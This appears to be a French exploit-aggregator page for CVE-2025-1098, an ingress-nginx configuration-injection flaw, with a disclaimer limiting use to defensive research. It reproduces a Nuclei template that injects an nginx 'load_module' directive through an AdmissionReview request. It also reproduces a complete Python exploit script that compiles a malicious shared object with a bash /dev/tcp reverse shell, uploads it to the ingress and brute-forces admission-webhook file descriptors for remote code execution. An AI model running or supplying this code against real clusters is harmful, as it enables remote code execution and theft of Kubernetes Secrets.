Exploit matérialisé
CVE-2025-1098
HIGH2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei
high Vérifié
Source
Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2025-1098 -u https://your-target
Template yaml
id: CVE-2025-1098
info:
name: Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations
author: UNC1739
severity: high
description: |
A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
impact: |
Authenticated users with Ingress creation permissions can inject arbitrary nginx configuration through mirror annotations, leading to arbitrary code execution in the ingress-nginx controller context and disclosure of all Kubernetes Secrets cluster-wide.
remediation: |
Upgrade to the patched version of ingress-nginx that properly sanitizes mirror-target and mirror-host annotations.
reference:
- https://github.com/kubernetes/kubernetes/issues/131008
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://nvd.nist.gov/vuln/detail/CVE-2025-1098
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-1098
cwe-id: CWE-20
epss-score: 0.83498
epss-percentile: 0.99661
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,rce,vuln
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "{{string}}",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "{{string}}"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'load_module'
- 'directive is specified too late'
condition: and
# digest: 4a0a00473045022100ad8cb275e375c69ccab86cdbf9a1f9e87fdfac405b39ce7dad18ee0b04c58e5002203d3d561f47c1cac87c117fbb8aa47d9c19202bd1b1cc2c5258003a964dfb6b2f:922c64590222798bb761d5b6d8e72950
ExploitDB
remote multiple
Source
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
Par Beatriz Fresno Naumova
Comment tester cet exploit
Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.
Code txt
# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://kubernetes.io
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: Affects v1.10.0 to v1.11.1 (potentially others)
# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster
# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974
import os
import sys
import socket
import requests
import threading
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# --- Embedded malicious shared object template ---
MALICIOUS_C_TEMPLATE = """
#include <stdlib.h>
__attribute__((constructor))
void run_on_load() {
system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}
int bind(void *e, const char *id) {
return 1;
}
void ENGINE_load_evil() {}
int bind_engine() {
return 1;
}
"""
def compile_shared_library(host, port, output_file="evil_engine.so"):
c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))
with open("evil_engine.c", "w") as f:
f.write(c_code)
print("[*] Compiling malicious shared object...")
result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")
if result == 0:
print("[+] Shared object compiled successfully.")
return True
else:
print("[!] Compilation failed. Is gcc installed?")
return False
def send_brute_request(admission_url, json_template, proc, fd):
print(f"[*] Trying /proc/{proc}/fd/{fd}")
path = f"proc/{proc}/fd/{fd}"
payload = json_template.replace("REPLACE", path)
headers = {"Content-Type": "application/json"}
url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")
def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
try:
with open(json_file, "r") as f:
json_data = f.read()
except FileNotFoundError:
print(f"[!] Error: {json_file} not found.")
return
print("[*] Starting brute-force against the admission webhook...")
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(1, max_proc):
for fd in range(3, max_fd):
executor.submit(send_brute_request, admission_url, json_data, proc, fd)
def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
try:
with open(shared_object, "rb") as f:
evil_payload = f.read()
except FileNotFoundError:
print(f"[!] Error: {shared_object} not found.")
return
parsed = urlparse(ingress_url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"[!] Failed to connect to {host}:{port}: {e}")
return
fake_length = len(evil_payload) + 10
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: qmx-ingress-exploiter\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n\r\n"
).encode("iso-8859-1")
print("[*] Uploading malicious shared object to ingress...")
sock.sendall(headers + evil_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Server response:\n")
print(response.decode(errors="ignore"))
sock.close()
def main():
if len(sys.argv) != 4:
print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
sys.exit(1)
ingress_url = sys.argv[1]
admission_url = sys.argv[2]
rev_host_port = sys.argv[3]
if ':' not in rev_host_port:
print("[!] Invalid format for rev_host:port.")
sys.exit(1)
host, port = rev_host_port.split(":")
if not compile_shared_library(host, port):
sys.exit(1)
# Send the malicious shared object and keep the connection open
upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
upload_thread.start()
# Simultaneously brute-force the admission webhook for valid file descriptors
brute_force_admission(admission_url)
if __name__ == "__main__":
main()